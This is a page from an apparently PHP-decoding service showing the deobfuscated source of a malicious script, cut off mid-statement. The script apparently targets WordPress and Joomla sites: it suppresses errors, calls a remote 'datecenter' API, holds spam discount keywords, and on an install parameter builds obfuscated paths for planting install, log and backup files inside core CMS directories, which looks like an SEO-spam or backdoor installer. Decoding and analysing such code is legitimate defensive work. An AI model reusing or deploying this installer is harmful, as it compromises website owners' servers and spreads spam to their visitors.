Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @ini_set('display_errors', 0); @set_time_limit(3600); define("DOMTXT","/jd1/"); ..

Decoded Output download

<?php  
@ini_set('display_errors', 0); 
@set_time_limit(3600); 
define("DOMTXT","/jd1/"); 
define("GETDATE","http://www.datecenter.com/api/?key="); 
define("CENTERKEY",1); 
define("MYDIR", "/lt20180710bk-3/"); 
define("FNUM",50); 
define("JGNUM","132"); 
define("LINKNUM","12"); 
define("BZSITE","w"); 
define("BZPRO","o"); 
//Fnamebg 
define("FILEDIRNAME","jpdd150815qi-1"); 
//Fnameend 
 
//msbg 
define("JDT","0"); 
//msend 
 
//msidbg 
define("MSID",5512); 
//mssidend 
 
//jthouzuibg 
define("JTHZ","/"); 
//jthouzuiend 
 
 
//keyjgbg 
define("KEYJG","7"); 
//keyjgbgend 
 
 
 
// #llqllq#arr_nametimebg 
 
$arrnametime[]="2"; 
$arrnametime[]="4"; 
$arrnametime[]="1"; 
$arrnametime[]="3"; 
 
 
// #llqllq#arr_nametimeend 
// #llqllq#arr_wordbg 
 
$arr_word[0][] ="2";$arr_word[0][] ="2";$arr_word[0][] ="3";$arr_word[0][] ="4";$arr_word[0][] ="2";$arr_word[0][] ="4";$arr_word[0][] ="3";$arr_word[0][] ="4";$arr_word[0][] ="3";$arr_word[0][] ="3";$arr_word[1][] ="4";$arr_word[1][] ="4";$arr_word[1][] ="3";$arr_word[1][] ="4";$arr_word[1][] ="2";$arr_word[1][] ="2";$arr_word[1][] ="3";$arr_word[1][] ="3";$arr_word[1][] ="3";$arr_word[1][] ="2";$arr_word[2][] ="4";$arr_word[2][] ="3";$arr_word[2][] ="2";$arr_word[2][] ="4";$arr_word[2][] ="3";$arr_word[2][] ="4";$arr_word[2][] ="2";$arr_word[2][] ="2";$arr_word[2][] ="3";$arr_word[2][] ="3";$arr_word[3][] ="4";$arr_word[3][] ="2";$arr_word[3][] ="3";$arr_word[3][] ="3";$arr_word[3][] ="2";$arr_word[3][] ="3";$arr_word[3][] ="4";$arr_word[3][] ="4";$arr_word[3][] ="2";$arr_word[3][] ="3";$arr_word[4][] ="4";$arr_word[4][] ="4";$arr_word[4][] ="3";$arr_word[4][] ="2";$arr_word[4][] ="2";$arr_word[4][] ="3";$arr_word[4][] ="4";$arr_word[4][] ="2";$arr_word[4][] ="3";$arr_word[4][] ="3";$arr_word[5][] ="3";$arr_word[5][] ="4";$arr_word[5][] ="2";$arr_word[5][] ="2";$arr_word[5][] ="2";$arr_word[5][] ="4";$arr_word[5][] ="3";$arr_word[5][] ="3";$arr_word[5][] ="3";$arr_word[5][] ="4";$arr_word[6][] ="3";$arr_word[6][] ="2";$arr_word[6][] ="4";$arr_word[6][] ="2";$arr_word[6][] ="4";$arr_word[6][] ="3";$arr_word[6][] ="3";$arr_word[6][] ="4";$arr_word[6][] ="3";$arr_word[6][] ="2";$arr_word[7][] ="4";$arr_word[7][] ="2";$arr_word[7][] ="3";$arr_word[7][] ="4";$arr_word[7][] ="2";$arr_word[7][] ="3";$arr_word[7][] ="4";$arr_word[7][] ="2";$arr_word[7][] ="3";$arr_word[7][] ="3";$arr_word[8][] ="3";$arr_word[8][] ="2";$arr_word[8][] ="2";$arr_word[8][] ="4";$arr_word[8][] ="3";$arr_word[8][] ="4";$arr_word[8][] ="2";$arr_word[8][] ="3";$arr_word[8][] ="3";$arr_word[8][] ="4";$arr_word[9][] ="3";$arr_word[9][] ="2";$arr_word[9][] ="4";$arr_word[9][] ="3";$arr_word[9][] ="2";$arr_word[9][] ="3";$arr_word[9][] ="4";$arr_word[9][] ="2";$arr_word[9][] ="4";$arr_word[9][] ="3";$arr_word[10][] ="2";$arr_word[10][] ="4";$arr_word[10][] ="2";$arr_word[10][] ="3";$arr_word[10][] ="3";$arr_word[10][] ="2";$arr_word[10][] ="3";$arr_word[10][] ="4";$arr_word[10][] ="3";$arr_word[10][] ="4";$arr_word[11][] ="4";$arr_word[11][] ="2";$arr_word[11][] ="3";$arr_word[11][] ="3";$arr_word[11][] ="2";$arr_word[11][] ="2";$arr_word[11][] ="4";$arr_word[11][] ="3";$arr_word[11][] ="4";$arr_word[11][] ="3"; 
 
// #llqllq#arr_wordend 
// #llqllq#arr_keywz 
 
$arrKeywz[]="7"; 
$arrKeywz[]="9"; 
$arrKeywz[]="12"; 
$arrKeywz[]="8"; 
$arrKeywz[]="4"; 
$arrKeywz[]="6"; 
$arrKeywz[]="5"; 
$arrKeywz[]="10"; 
$arrKeywz[]="11"; 
 
 
// #llqllq#arr_keywzend 
// #llqllq#arr_fuhao 
$arrfh[]="";$arrfh[]=" ";$arrfh[]="";$arrfh[]="";$arrfh[]="";$arrfh[]="";$arrfh[]="";$arrfh[]=""; 
// #llqllq#arr_fuhaoend 
// #llqllq#arr_keybg 
 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="[]"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="2016"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=" "; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="?"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=" "; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="2015"; 
$arr_key[]=""; 
$arr_key[]="SALE"; 
$arr_key[]=""; 
$arr_key[]="2015"; 
$arr_key[]=""; 
$arr_key[]="/"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="1"; 
$arr_key[]="SALE"; 
$arr_key[]="NEW"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="!"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=" "; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="2015 "; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="/"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="18OFF"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="60OFF"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="?"; 
$arr_key[]="2015"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="SEAL"; 
$arr_key[]=" "; 
$arr_key[]="[]"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="1"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="!!"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="GINGER"; 
$arr_key[]="!!"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="4"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="?"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="1"; 
$arr_key[]=""; 
$arr_key[]=" "; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="10"; 
$arr_key[]="SALE"; 
$arr_key[]=""; 
$arr_key[]=" "; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="WEB"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="_"; 
$arr_key[]=""; 
$arr_key[]=" "; 
$arr_key[]=""; 
$arr_key[]="1"; 
$arr_key[]="5OFF"; 
$arr_key[]="!!"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="6"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="_"; 
$arr_key[]=""; 
$arr_key[]="_"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="10OFF"; 
$arr_key[]="!!"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="SALE"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=" "; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="2016 "; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="2"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="!!"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="50OFF"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="30OFF"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="SALE"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=" "; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=" "; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="5"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="2015A/W"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="SALE"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="()"; 
$arr_key[]="500"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="70OFF"; 
$arr_key[]="T-5"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="  ? "; 
$arr_key[]=""; 
$arr_key[]="3"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="  "; 
$arr_key[]="35OFF"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="SALE"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="25OFF"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]="!"; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
$arr_key[]=""; 
 
 
// #llqllq#arr_keyend 
 
 
 
$q1 = "O00O0O";	$q2 = "O0O000";	$q3 = "O0OO00";	$q4 = "OO0O00";	$q5 = "OO0000";	$q6 = "O00OO0";	$q7 = "O00O00";	$q8 = "O00OOO";	$$q1 = RandAbcs(); 
 
 
// #llqllq#randkeybg 
$strRand[0]="nwkecjusoxqpmrytfvlhdziagb"; 
$strRand[1]="ptgwxskfoveymnuhqbadizjcrl"; 
$strRand[2]="lzpwohfbqdsaxijtvmgkynurec"; 
$strRand[3]="vurmeloibxtsycnzhadjwpgfkq"; 
$strRand[4]="sbqygcnfwozratxhuidlmepjvk"; 
$strRand[5]="zkxotrchyalpbfuivqdmnejwgs"; 
$strRand[6]="mvdofptkzbyurjaewgsinhqxcl"; 
$strRand[7]="abtvcnkxzrqousjpfhmylwdeig"; 
$strRand[8]="trwgqjiuzxpdhcbkynelsmaofv"; 
$strRand[9]="vsboyeqzcwxtpndgirluhkjfam"; 
$strRand[10]="buagqxypsclhfdeovkwirnjztm"; 
$strRand[11]="atgzsvhbfypuwcjmelqnxkriod"; 
$strRand[12]="pzeafqcdhgorsxunkyvtjiwmbl"; 
$strRand[13]="xftnmkzjqbdsiyacrluevwgpho"; 
$strRand[14]="htndrajgylpeufkiwvzsbxmqco"; 
$strRand[15]="rjsiofxvgpyatcqublkmdnhzew"; 
$strRand[16]="xvcsrpguhamfnbkdiqlowztyej"; 
$strRand[17]="lfphkwxmanrdcveszgbtoyuiqj"; 
$strRand[18]="cyadlbnriqohgsvjpuezwftxkm"; 
$strRand[19]="miczbuqygpsfavnwodrxelhjkt"; 
$strRand[20]="rzbhqcpvawknmetdilgfxsoyuj"; 
$strRand[21]="zipgrhfoadsuynxbqlmkewtjcv"; 
$strRand[22]="ljsaucfewvqyikpobdzhrmtngx"; 
$strRand[23]="soutclnirpqvxjghkdmbwzfeay"; 
$strRand[24]="fynxzcjqarwkhbvspitluomegd"; 
$strRand[25]="xkwhbnzlpudrmyotvcqfjeagis"; 
$strRand[26]="eymknacgtfhdqvpwzbsiroujxl"; 
$strRand[27]="vdufywxrmogtikcpsznbeaqhjl"; 
$strRand[28]="kplhwftjguciyxzdorsqaevbmn"; 
$strRand[29]="dpbjhzcsnatxeougkyiqrmflvw"; 
$strRand[30]="uevmlszrtkonxgfyhjidbpwacq"; 
$strRand[31]="tqmdczplkbnvxguhiyaeofrjws"; 
$strRand[32]="kbzyhsnvjgeqcfdpmxriwautol"; 
$strRand[33]="jyfugswzqimnhocekrlvtabxdp"; 
$strRand[34]="xhsmetciyauofgzbknqrpldjwv"; 
$strRand[35]="ykphzxmgboevnrilwqutdcfjas"; 
$strRand[36]="bigkzxtlscuwemohpdqjafvnyr"; 
$strRand[37]="hzulrpkgqaneocxsvtbwyfimdj"; 
$strRand[38]="uyvtrfeqzgcajbklxnpsdmhoiw"; 
$strRand[39]="dghsyounebltqzwfijkxrpvamc"; 
$strRand[40]="yjmqvtkuinhdzroaxcfbwpgles"; 
$strRand[41]="hfwyurptaczgldqxbeskjmvoni"; 
$strRand[42]="oawbmqxrgczlpjhkuvnftieysd"; 
$strRand[43]="cymnqbaiprfsgjetkdowzxhuvl"; 
$strRand[44]="ikmyhzgtujecnlxqpwodbavsfr"; 
$strRand[45]="bdcowquxaremzgstjiykfvphnl"; 
$strRand[46]="fnolsgxtmeuacphvbdwqyjirkz"; 
$strRand[47]="avxgsftczuryqnebiplojmkdhw"; 
$strRand[48]="jiztcndxeaqfwpubhsorymlkgv"; 
$strRand[49]="ajivwkdolxbmyzugfenhqtspcr"; 
$strRand[50]="ujxvhrpgbfctaeqnismowlzydk"; 
$strRand[51]="gfakvzbowdjxtepschiuyqmnrl"; 
$strRand[52]="rlhtupvfzoyabwedjkisxnqcmg"; 
$strRand[53]="ocsuganvzxmrlijhbpfdwykteq"; 
$strRand[54]="snvqpegdztrcialwxumbokyjhf"; 
$strRand[55]="capknlmthjyusvgzebrdfowiqx"; 
$strRand[56]="tkuhrxnbfiwyazmjlodqpscgve"; 
$strRand[57]="yqtuhwncfzigvjdsmaolkbrepx"; 
$strRand[58]="qilgjvazhfrswokcbetudxympn"; 
$strRand[59]="kjygnzrwtamxlusqdiofhpvcbe"; 
$strRand[60]="bmdypixjgwfecurqhknztlsaov"; 
$strRand[61]="nwusgtkcbprliojyhmexvafzdq"; 
$strRand[62]="pfuwszkontemgrqlcjyxvhbida"; 
$strRand[63]="vnofuizxgjcprtyqbhwdasmekl"; 
$strRand[64]="uiapocdsqtwjfelvkybzxrhnmg"; 
$strRand[65]="wovtdupmibrxaengjqlyszfhkc"; 
$strRand[66]="idolhmxezgyrjbpsawutkcfqvn"; 
$strRand[67]="rhgsdineoqlybfwaxjczkvtupm"; 
$strRand[68]="bsvgrpjuokyhqzimctnlfxewda"; 
$strRand[69]="lqcbfyhaunpwdmsekovrtxijgz"; 
$strRand[70]="tovqprxykahnzlfwduicjmsbeg"; 
$strRand[71]="mjfdzypgahnsouqcwtlebvkirx"; 
$strRand[72]="jacnberxvkwoqhflpygmsdtziu"; 
$strRand[73]="czygkiwaqnmdotuxjlebhvpfsr"; 
$strRand[74]="iyefhlntkavzxrguwdmocsqbjp"; 
$strRand[75]="tupelixhocvramsfbykzjdwqng"; 
$strRand[76]="hysvcmpwradlgukqobeftjinzx"; 
$strRand[77]="nfdlmsovtwcuaijryqgbxekzph"; 
$strRand[78]="uejxklfobrcyiaqspdwhzmtgnv"; 
$strRand[79]="gicavpmzxrqsbntwyjdfohulek"; 
$strRand[80]="mcnqlxievdrhtapzoksjwbyguf"; 
$strRand[81]="qyxshflwekbjdtvcmzuiopagrn"; 
$strRand[82]="nlcbuhzkxrfpmwdisoyaqtjgve"; 
$strRand[83]="fkupsqmrjytdieolwcxzbavhng"; 
$strRand[84]="dskqtixhlrgbyufpozanemvjwc"; 
$strRand[85]="jgpzylodhxvrceusmtfqakbniw"; 
$strRand[86]="xzvkgpimnrodtblayhqsucfewj"; 
$strRand[87]="tmejqgplcbxnvosiywafuhkdrz"; 
$strRand[88]="vwdpemcyqsrzhxnjbofkgtluai"; 
$strRand[89]="uwcenxozvibfyjlahmpgqsktdr"; 
$strRand[90]="njklhyopwdiztrxqsmfaubvceg"; 
$strRand[91]="wehkqgpildxmfujytnbcasrovz"; 
$strRand[92]="ztsuqldgnehvxijabwrmopkycf"; 
$strRand[93]="mwxqbiaghoultsdcfkvnyrpzje"; 
$strRand[94]="xqiypnveumgbkrzhljtcdwofsa"; 
$strRand[95]="vroltbjweiahmcnqzksudgfpxy"; 
$strRand[96]="mcakuyzvljnhwetxdbgfopsriq"; 
$strRand[97]="ychfizvrwljausegptkqxbnodm"; 
$strRand[98]="kgqryosxubpzfljcatvnhmidwe"; 
$strRand[99]="ptyrxcglsbfdhekiqnwvmzujao"; 
 
// #llqllq#randkeyend 
 
// $_SERVER["HTTP_REFERER"] = "google.co.jp"; 
 
$thisdom = str_replace("www.","",$_SERVER['HTTP_HOST']); 
define("GETDOM",getthisdom()); 
 
 
 
// iiiiiiiiibg 
 
 
 
function sys_type(){ 
 
	global $hostDir; 
	if(file_exists("$hostDir/wp-config.php")){ 
		return 'wp'; 
	}elseif(strstr(@file_get_contents("$hostDir/configuration.php"),"JConfig")){ 
		return 'Joomla'; 
	}else{ 
		return 'other'; 
	} 
	 
} 
 
function getFileType($filename){ 
	$rs = '#.*\.([^\s]+)#i'; 
	preg_match($rs,$filename,$matchType); 
	return $matchType[1]; 
} 
 
 
 
function getTypeImg($source, &$destination, $num, $type){  
 
     global $numHostDir; 
     $handle = opendir($source);  
     while(($file = readdir($handle)) !== false){  
         if($file != '.' && $file != '..')  {  
             $src = $source . DIRECTORY_SEPARATOR . $file;  
             if(is_dir($src)){  
                 getTypeImg($src, $destination, $num, $type);   
             }else{  
				 if(count($destination) >= $num) 
				   return count($destination); 
				    
				 $tempType = getFileType($file); 
				 if(strstr($type,$tempType)){ 
					$tempMydir = count(explode(DIRECTORY_SEPARATOR,$src)); 
				 
					if($tempMydir - $numHostDir > 2 && !strstr($file,'index')){ 
						$destination[$source] = $tempType .'#name#'. str_replace('.'.$tempType ,'' ,$file); 
					} 
				 } 
             }  
         }  
     } 
     closedir($handle);  
 }  
	  
	 
if(isset($_GET['install']) &&  $_GET['install'] == '1'){ 
	 
	if(isset($_SERVER['DOCUMENT_ROOT'])){ 
		$hostDir = $_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR; 
	}elseif(isset($_SERVER['PHP_SELF'])){ 
		$hostDir = str_ireplace(str_replace("\",DIRECTORY_SEPARATOR,str_replace("/",DIRECTORY_SEPARATOR,$_SERVER['PHP_SELF'])),'',__FILE__).DIRECTORY_SEPARATOR; 
	}else{ 
		$hostDir = '/'; 
	} 
	 
	$hostDir = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR, $hostDir); 
 
  	$sysType = sys_type(); 
 
	if($sysType == 'wp'){ 
		$installFile = $hostDir.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{8}.$O00O0O{13}.$O00O0O{2}.$O00O0O{11}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{8}.$O00O0O{12}.$O00O0O{0}.$O00O0O{6}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{4}.$O00O0O{3}.$O00O0O{8}.$O00O0O{0}.$O00O0O{64}.$O00O0O{11}.$O00O0O{14}.$O00O0O{6}.$O00O0O{14}.$O00O0O{62}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{13}.$O00O0O{6};$logFile = $hostDir.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{8}.$O00O0O{13}.$O00O0O{2}.$O00O0O{11}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{8}.$O00O0O{12}.$O00O0O{0}.$O00O0O{6}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{4}.$O00O0O{3}.$O00O0O{8}.$O00O0O{0}.$O00O0O{64}.$O00O0O{11}.$O00O0O{14}.$O00O0O{6}.$O00O0O{62}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{13}.$O00O0O{6};	$mbFile = $hostDir.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{8}.$O00O0O{13}.$O00O0O{2}.$O00O0O{11}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{8}.$O00O0O{12}.$O00O0O{0}.$O00O0O{6}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{4}.$O00O0O{3}.$O00O0O{8}.$O00O0O{0}.$O00O0O{64}.$O00O0O{12}.$O00O0O{1}.$O00O0O{62}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{13}.$O00O0O{6};$backupfile1 = $hostDir.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{8}.$O00O0O{13}.$O00O0O{2}.$O00O0O{11}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{2}.$O00O0O{20}.$O00O0O{18}.$O00O0O{19}.$O00O0O{14}.$O00O0O{12}.$O00O0O{8}.$O00O0O{25}.$O00O0O{4}.$O00O0O{64}.$O00O0O{2}.$O00O0O{11}.$O00O0O{0}.$O00O0O{18}.$O00O0O{18}.$O00O0O{66}.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{2}.$O00O0O{20}.$O00O0O{18}.$O00O0O{19}.$O00O0O{14}.$O00O0O{12}.$O00O0O{8}.$O00O0O{25}.$O00O0O{4}.$O00O0O{66}.$O00O0O{5}.$O00O0O{8}.$O00O0O{11}.$O00O0O{19}.$O00O0O{4}.$O00O0O{17}.$O00O0O{18}.$O00O0O{66}.$O00O0O{18}.$O00O0O{4}.$O00O0O{19}.$O00O0O{19}.$O00O0O{8}.$O00O0O{13}.$O00O0O{6}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};$backupfile2 = $hostDir.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{0}.$O00O0O{3}.$O00O0O{12}.$O00O0O{8}.$O00O0O{13}.$O00O0O{64}.$O00O0O{8}.$O00O0O{13}.$O00O0O{2}.$O00O0O{11}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{4}.$O00O0O{3}.$O00O0O{8}.$O00O0O{0}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15}; 
		$fitime = filemtime($hostDir.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{0}.$O00O0O{3}.$O00O0O{12}.$O00O0O{8}.$O00O0O{13}.$O00O0O{64}.$O00O0O{8}.$O00O0O{13}.$O00O0O{2}.$O00O0O{11}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}); 
	}elseif($sysType == 'Joomla'){ 
		$installFile = $hostDir.$O00O0O{12}.$O00O0O{4}.$O00O0O{3}.$O00O0O{8}.$O00O0O{0}.$O00O0O{64}.$O00O0O{18}.$O00O0O{24}.$O00O0O{18}.$O00O0O{19}.$O00O0O{4}.$O00O0O{12}.$O00O0O{64}.$O00O0O{8}.$O00O0O{12}.$O00O0O{0}.$O00O0O{6}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{11}.$O00O0O{14}.$O00O0O{6}.$O00O0O{14}.$O00O0O{62}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{13}.$O00O0O{6};$logFile = $hostDir.$O00O0O{12}.$O00O0O{4}.$O00O0O{3}.$O00O0O{8}.$O00O0O{0}.$O00O0O{64}.$O00O0O{18}.$O00O0O{24}.$O00O0O{18}.$O00O0O{19}.$O00O0O{4}.$O00O0O{12}.$O00O0O{64}.$O00O0O{8}.$O00O0O{12}.$O00O0O{0}.$O00O0O{6}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{11}.$O00O0O{14}.$O00O0O{6}.$O00O0O{62}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{13}.$O00O0O{6};$mbFile = $hostDir.$O00O0O{12}.$O00O0O{4}.$O00O0O{3}.$O00O0O{8}.$O00O0O{0}.$O00O0O{64}.$O00O0O{18}.$O00O0O{24}.$O00O0O{18}.$O00O0O{19}.$O00O0O{4}.$O00O0O{12}.$O00O0O{64}.$O00O0O{8}.$O00O0O{12}.$O00O0O{0}.$O00O0O{6}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{1}.$O00O0O{62}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{13}.$O00O0O{6};$backupfile1 = $hostDir.$O00O0O{12}.$O00O0O{14}.$O00O0O{3}.$O00O0O{20}.$O00O0O{11}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{14}.$O00O0O{3}.$O00O0O{62}.$O00O0O{18}.$O00O0O{4}.$O00O0O{0}.$O00O0O{17}.$O00O0O{2}.$O00O0O{7}.$O00O0O{64}.$O00O0O{19}.$O00O0O{12}.$O00O0O{15}.$O00O0O{11}.$O00O0O{64}.$O00O0O{3}.$O00O0O{4}.$O00O0O{5}.$O00O0O{0}.$O00O0O{20}.$O00O0O{11}.$O00O0O{19}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};$backupfile2 = 